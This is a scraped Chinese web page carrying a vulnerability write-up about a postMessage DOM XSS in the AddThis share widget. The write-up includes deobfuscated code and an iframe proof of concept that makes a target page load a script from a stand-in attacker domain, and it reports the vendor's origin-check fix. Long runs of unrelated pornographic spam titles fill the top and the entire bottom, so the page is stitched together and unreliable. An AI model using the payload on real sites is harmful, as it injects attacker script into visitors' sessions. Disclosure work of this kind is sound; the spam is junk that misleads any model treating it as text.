精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

流行應用AddThis存在postMessage XSS漏洞漏洞,百萬站點受影響

安全 漏洞
AddThis是一款擁有超過一百萬用戶使用的網頁分享按鈕。在今年早些被發現存在XSS漏洞。在之前的一篇文章有描述到postMessage API缺陷。而本文將描述我是如何識別然后利用AddThis分享按鈕中存在的這些漏洞。

AddThis是一款擁有超過一百萬用戶使用的網頁分享按鈕。在今年早些被發現存在XSS漏洞。在之前的一篇文章有描述到postMessage API缺陷。而本文將描述我是如何識別然后利用AddThis分享按鈕中存在的這些漏洞。

[[179806]]

當我在測試一個使用AddThis的網站的時候,透過Chrome開發者工具的全局監聽器,我注意到它使用了postMessage。

使用AddThis的網站的時候使用了postMessage

為了判斷它們是否存在漏洞,我在Chrome開發者工具中的的監聽器內設置了一個斷點,之后使用

  1. window.postMessage("hello", "*") 

向頁面發送消息

檢查監聽器

代碼沒有進行來源檢查,除此之外來源必須是HTTP/HTTPS頁面。從5364行可以得知消息的預期格式:

  1. at-share-bookmarklet:DATA. 

應用AddThis檢查監聽器

繼續進行調試,我們以合適的格式發送消息,使代碼在5370行結束,調用r函數。

完成對r函數的調用之后接著調用s函數:

應用AddThis檢查監聽器

說起S函數就非常有趣。它似乎創建了一個新的腳本元素(或許是DOM XSS?)

應用AddThis檢查監聽器

反壓縮

為了理解這個函數的作用,我通過命名變量和刪除多行語句來進行反混淆。

  1. e.exports = function(messageData, t, n, s, u, isTrue) { 
  2. if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called. 
  3. var scriptTag = document.createElement("script"); 
  4. if("https:" === window.location.protocol){ 
  5. var isSecurePage = true
  6. }else{ 
  7. var isSecurePage = false
  8. var protocol = ""
  9. var headElement = document.getElementsByTagName("head")[0]; 
  10. scriptTag.setAttribute("type", "text/javascript"); 
  11. scriptTag.setAttribute("async", "async"); 
  12. //Check if user is using Chrome/Safari 
  13. if(window.chrome && window.chrome.self || window.safari && window.safari.extension){ 
  14. if(isSecurePage){ 
  15. protocol = "https"
  16. }else{ 
  17. protocol = "http"
  18. //If the message data starts with "//", add protocol before 
  19. if(0 === messageData.indexOf("//")){ 
  20. messageData = protocol + messageData; 
  21. //If the message data starts with "//" 
  22. if(0 === messageData.indexOf("//")){ 
  23. scriptTag.src = messageData
  24. }else{ 
  25. scriptTag.src = protocol + "//s7.addthis.com/" + messageData; 
  26. headElement.insertBefore(scriptTag, headElement.firstChild); 
  27. o[messageData] = 1; 
  28. return scriptTag; 
  29. return 1; 

閱讀經過反壓縮的代碼版本,可以得出結論,發送消息的格式大抵如此:

  1. at-share-bookmarklet://ATTACKERHOST/xss.js 

它會新增一個新的腳本元素到包含了“//ATTACKERDOMAIN/xss.js”的頁面。換句話說,存在DOM XSS漏洞。

POC

攻擊者能夠攻擊任何使用了AddThis的網站(存在DOM XSS)。給出我寫的exploit供大家參考:

  1. <iframe id="frame" src="https://targetpage/using_addthis"></iframe> 
  2. <script> 
  3. document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*'); 
  4. </script> 

 

修復

我和Matt Abrams(AddThis的CTO)進行了交流,他保證會盡快修復該漏洞并及時推送給終端用戶。該修復方案增加了一個來源檢查以確保消息不會從未知來源發出。

總結

簡言之,postMessage通常會導致DOM XSS漏洞。如果你正在使用第三方腳本,一定要去檢查下postMessage實現。

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2023-07-10 21:25:20

2022-04-14 16:37:50

漏洞網絡攻擊插件

2023-07-27 16:48:13

2022-07-20 16:04:15

iOS蘋果App Store

2020-07-30 23:17:45

漏洞網絡安全攻擊

2021-09-05 05:59:00

BrakTooth漏洞藍牙設備

2022-05-05 11:33:10

漏洞網絡攻擊網絡安全

2009-05-30 10:04:56

2021-01-28 17:32:44

Sudo漏洞Linux發行版

2016-03-29 10:48:53

2014-04-09 14:41:55

2011-10-09 15:03:15

手機

2015-03-13 09:20:57

2014-04-29 11:18:27

2009-07-29 08:46:13

Windows 7系統漏洞系統安全

2019-02-21 10:11:49

2014-07-22 10:43:16

2015-09-23 11:42:20

2022-08-15 08:28:52

漏洞底層框架Electron

2023-05-08 19:28:11

點贊
收藏

51CTO技術棧公眾號

成人黄色免费看| 欧美一级在线视频| 一区二区三区的久久的视频| 亚洲一区二区人妻| 午夜天堂精品久久久久| 亚洲国产成人久久综合一区| 日韩欧美视频网站| wwwxxx在线观看| 国产麻豆精品95视频| 97在线观看视频| 蜜桃视频最新网址| 成人在线视频你懂的| 亚洲成人av福利| 亚洲va韩国va欧美va精四季| 午夜精品久久久久久久第一页按摩| 海角社区69精品视频| 国产性色av一区二区| 亚洲精品在线视频播放| 色老头在线一区二区三区| 中文字幕第一页久久| 国产精品二区在线| 亚洲视屏在线观看| 亚洲手机视频| 最新国产精品亚洲| 51调教丨国产调教视频| 日日夜夜精品| 在线视频一区二区三| 欧美性猛交内射兽交老熟妇| 国产午夜精品一区理论片| 国产成人自拍在线| 国产精品久久久久久久久影视| 久久久一区二区三区四区| 超碰成人久久| 亚洲成人性视频| 激情久久综合网| 日韩高清不卡| 欧美视频二区36p| 国产一级做a爰片久久毛片男| 99青草视频在线播放视| 久久综合色婷婷| 国产精品区二区三区日本| 国产精品久久久久久久久久久久久久久久久久 | 亚洲啪av永久无码精品放毛片 | 亚洲xxx自由成熟| 人人妻人人爽人人澡人人精品| 雨宫琴音一区二区在线| 欧美精品在线观看91| 正在播放国产对白害羞| 国产精品一区二区av日韩在线| 日韩精品一区二区三区在线 | 国产亚洲欧美在线精品| 亚洲精品社区| 性欧美视频videos6一9| 四虎精品在线| 欧洲一区二区三区| 中文字幕亚洲一区二区av在线| 精品不卡在线| 人妻一区二区三区四区| 国产麻豆午夜三级精品| 成人午夜两性视频| 国产又黄又猛又爽| 精品一区二区三区久久久| 国产精品一区久久久| 影音先锋国产在线| 免费一区二区视频| 国产伦精品免费视频| 中文字幕在线日亚洲9| 日韩电影在线观看一区| 国产乱肥老妇国产一区二| 中文字幕777| 捆绑调教一区二区三区| 成人h视频在线观看播放| 国产精品久久久国产盗摄| 久久99精品一区二区三区三区| 成人午夜一级二级三级| 国产99999| 国产成人免费视| 国外成人免费视频| 日本私人网站在线观看| 国产午夜亚洲精品午夜鲁丝片| 日本一区二区三区四区在线观看| 高清毛片在线看| 最近中文字幕一区二区三区| 四虎免费在线观看视频| 日本片在线看| 色综合天天做天天爱| 黄色免费网址大全| 国产精品一区二区三区av| 精品噜噜噜噜久久久久久久久试看| 国产a级黄色片| 国产最新精品| 久久天天躁狠狠躁夜夜躁 | 亚洲人成网77777色在线播放 | 在线不卡av电影| 欧美3p在线观看| 久久久久久欧美| 乱子伦一区二区三区| 国产尤物一区二区在线| 国产精品一区视频网站| 激情视频在线观看免费| 亚洲色图在线播放| 免费观看日韩毛片| 婷婷久久免费视频| 日韩极品精品视频免费观看| 中文字幕第二区| 亚洲福利电影| 国产视频999| 天堂成人在线| 亚洲日本护士毛茸茸| 日本wwww视频| 欧美.com| 一本一本久久a久久精品牛牛影视| 五月天婷婷色综合| 日本欧美韩国一区三区| 99精品国产一区二区| 国产区av在线| 婷婷亚洲久悠悠色悠在线播放 | 黑人一级大毛片| 麻豆精品一二三| 久久99影院| h视频在线免费观看| 91久久精品一区二区| 国产艳妇疯狂做爰视频| 999久久久精品国产| 日本久久精品视频| 人妻视频一区二区三区| 亚洲色图在线播放| 色播五月综合网| 国产精品一国产精品| 久久久亚洲精选| 99热这里只有精品9| 国产农村妇女毛片精品久久麻豆 | 超碰人人人人人人人| 99热这里只有精品8| 亚洲自拍高清视频网站| 91高清在线视频| 91久久精品网| 国产亚洲无码精品| 日韩一级欧洲| 国产精品嫩草在线观看| 天堂va在线| 欧美一级黄色片| 欧美日韩午夜视频| 精品一区二区三区在线视频| 日韩精品一区二区三区四区五区| 免费h在线看| 日韩av中文字幕在线| 精品午夜福利视频| 高清不卡在线观看av| 国产成人亚洲综合无码| 高清国产一区二区三区四区五区| 中文字幕国产精品久久| 波多野结衣日韩| 国产欧美日韩亚州综合| 999精品网站| 国产精品一国产精品| 国产精品成人aaaaa网站| 精品欧美不卡一区二区在线观看 | 2025国产精品视频| 无码国产色欲xxxx视频| 亚洲一区二区av电影| 无码人妻丰满熟妇区毛片蜜桃精品 | 国产在线观看成人| 成人爽a毛片一区二区免费| 免费看日本黄色| 亚洲精品一区二区三区中文字幕| 欧美日本亚洲视频| 婷婷伊人综合中文字幕| 天天操天天色综合| 四虎国产精品成人免费入口| 奇米在线7777在线精品| 在线观看免费黄色片| ady日本映画久久精品一区二区| 欧美精品第一页在线播放| 污污视频在线免费看| 色噜噜狠狠色综合欧洲selulu| 日韩一级av毛片| 麻豆91在线看| 91黄色在线看| 国产精品密蕾丝视频下载| 国产精品视频中文字幕91| 快射av在线播放一区| 精品久久五月天| 黄色免费av网站| 国产精品久久久久影院老司 | 综合久久av| 欧美高跟鞋交xxxxxhd| 天天干,夜夜操| 一本色道久久加勒比精品| 91av手机在线| 成人高清免费观看| 爆乳熟妇一区二区三区霸乳| 99热国内精品永久免费观看| 国产精品久久九九| 成人亚洲网站| 91精品国产91久久久久福利| 啊v视频在线| 日韩一区二区三区在线| 亚洲另类欧美日韩| 亚洲天堂精品视频| 无码h肉动漫在线观看| 免费成人av资源网| www在线观看免费| 久久中文字幕av| 久久国产一区二区| 成人污版视频| 日韩免费在线免费观看| 欧美xxxx免费虐| 中文字幕欧美国内| 姝姝窝人体www聚色窝| 精品视频色一区| www成人在线| 亚洲欧美另类久久久精品| a视频免费观看| 国产精品一区三区| 艹b视频在线观看| 国产精品毛片在线| 99久久99久久精品| 色777狠狠狠综合伊人| 精品视频一区在线| 亚洲第一二区| 国产一区二区在线免费| 成人国产二区| 91精品国产乱码久久久久久蜜臀| 国产在线1区| 中文字幕成人在线| 精品美女视频在线观看免费软件| 精品福利二区三区| 国产乱码精品一区二区三区精东| 色欧美片视频在线观看在线视频| 亚洲精品在线观看av| 亚洲欧美日韩小说| 99热在线观看精品| 国产精品视频一二三| 国产三级视频网站| 26uuu欧美| 精品人妻一区二区三区日产| 国产成人精品午夜视频免费| 中文字幕22页| 久久精品国内一区二区三区| 亚洲乱码国产一区三区| 午夜亚洲影视| 99久久久无码国产精品6| 亚洲精品视频啊美女在线直播| 老司机午夜网站| 91tv精品福利国产在线观看| 亚洲国产欧洲综合997久久 | 中国女人一级一次看片| 欧美视频国产精品| 国语对白永久免费| 色综合中文字幕国产| 在线观看免费国产视频| 精品久久久精品| 久久99精品波多结衣一区| 欧美日韩国产一区二区| 国产三级av片| 在线一区二区三区四区| 中文字幕乱码在线观看| 欧美日本韩国一区二区三区视频| 亚洲一区二区天堂| 69成人精品免费视频| 国产亲伦免费视频播放| 91精选在线观看| 精品黑人一区二区三区国语馆| 欧美一卡2卡3卡4卡| 丰满大乳国产精品| 精品视频中文字幕| 高清日韩av电影| 久久影院模特热| 男女免费观看在线爽爽爽视频| 久久久久久久999精品视频| 男人的天堂免费在线视频| 欧洲一区二区视频| 国产三级一区| 99精品国产一区二区| 日韩av字幕| 神马一区二区影院| 性xxxx欧美老肥妇牲乱| 男人天堂av片| 日精品一区二区三区| 国内国产精品天干天干| 成人免费视频视频| 欧美特黄一区二区三区| 中文字幕在线一区| 久久久久久久福利| 91黄色激情网站| 国产成人毛毛毛片| 亚洲毛片在线观看.| 91大神xh98hx在线播放| 欧美另类极品videosbestfree| mm视频在线视频| 国产欧美日韩中文字幕在线| 波多野结衣一区二区三区免费视频| 欧美日韩一区综合| 最新国产精品| 久久婷婷国产精品| 国产一区高清在线| 国产三级视频网站| 亚洲精品乱码久久久久久久久| 天海翼一区二区| 欧美久久久久久蜜桃| 四虎永久在线观看| 久久色免费在线视频| 天堂8中文在线最新版在线| 国产人妖伪娘一区91| 麻豆精品av| 永久免费看av| 日韩av一区二区在线影视| 无码人妻一区二区三区精品视频| 国产欧美在线观看一区| 国产 日韩 欧美 成人| 7777精品伊人久久久大香线蕉经典版下载 | 中文字幕av无码一区二区三区| 欧美一区二区三区日韩| 国产精品ⅴa有声小说| 欧美激情一区二区三区久久久| 欧美91在线|欧美| 日本精品一区二区三区高清 久久| 欧美福利一区| 污版视频在线观看| 久久亚洲私人国产精品va媚药| 欧美成人综合色| 88在线观看91蜜桃国自产| 国产51人人成人人人人爽色哟哟| 午夜美女久久久久爽久久| 久久的色偷偷| 一区二区日本| 另类调教123区| 无码人妻aⅴ一区二区三区69岛| 午夜精品一区在线观看| 亚洲AV无码精品色毛片浪潮| 色偷偷88888欧美精品久久久| 日韩精品极品| 国产伦精品一区二区三区视频免费 | a天堂中文在线观看| 色婷婷**av毛片一区| 色猫猫成人app| 秋霞在线观看一区二区三区| 亚洲永久免费| 可以直接看的无码av| 岛国视频午夜一区免费在线观看| 黑人精品一区二区| 国内精品久久久久久久| 大奶在线精品| 久久艹国产精品| 成人性生交大片免费看中文 | 色av综合在线| 欧美欧美欧美| 国产91久久婷婷一区二区| 国产99久久久国产精品成人免费 | 国产一区二区看久久| 成人高潮免费视频| 欧美高清一级片在线| 国内精品不卡| 成人看片在线| 99精品国产在热久久下载| 香蕉视频黄色在线观看| 91久久精品一区二区三区| 中文字幕在线观看日本| 91免费视频国产| 狠狠爱成人网| 公侵犯人妻一区二区三区| 日本高清不卡aⅴ免费网站| a天堂在线资源| 成人国产精品日本在线| 99久久99热这里只有精品| 亚洲天堂网站在线| 国产精品久久国产精麻豆99网站| 中文字幕在线观看1| 国产视频一区在线| 日本一区二区电影| 亚洲国产精品www| 国产福利一区二区三区视频在线 | 日韩av成人| 欧美亚洲激情在线| 国产一区二区精品福利地址| 99爱视频在线| 国产精品色眯眯| 999精品国产| 欧美野外猛男的大粗鳮| 国内精品久久久久久99蜜桃| 国产亚洲视频一区| 亚洲精品视频在线观看网站| 亚洲乱熟女一区二区| 91国产在线精品| 五月综合久久| 鲁一鲁一鲁一鲁一av| 中文字幕免费一区| 亚洲精品视频网| 日本一欧美一欧美一亚洲视频| 999久久久国产精品| 国产污在线观看| 欧美日韩国产中文| 日本在线视频网址| 亚洲精品一区二区三区四区五区 | 成人久久久久久| 伊人久久婷婷| 波多野结衣欲乱| 亚洲成人a级网| 97久久中文字幕|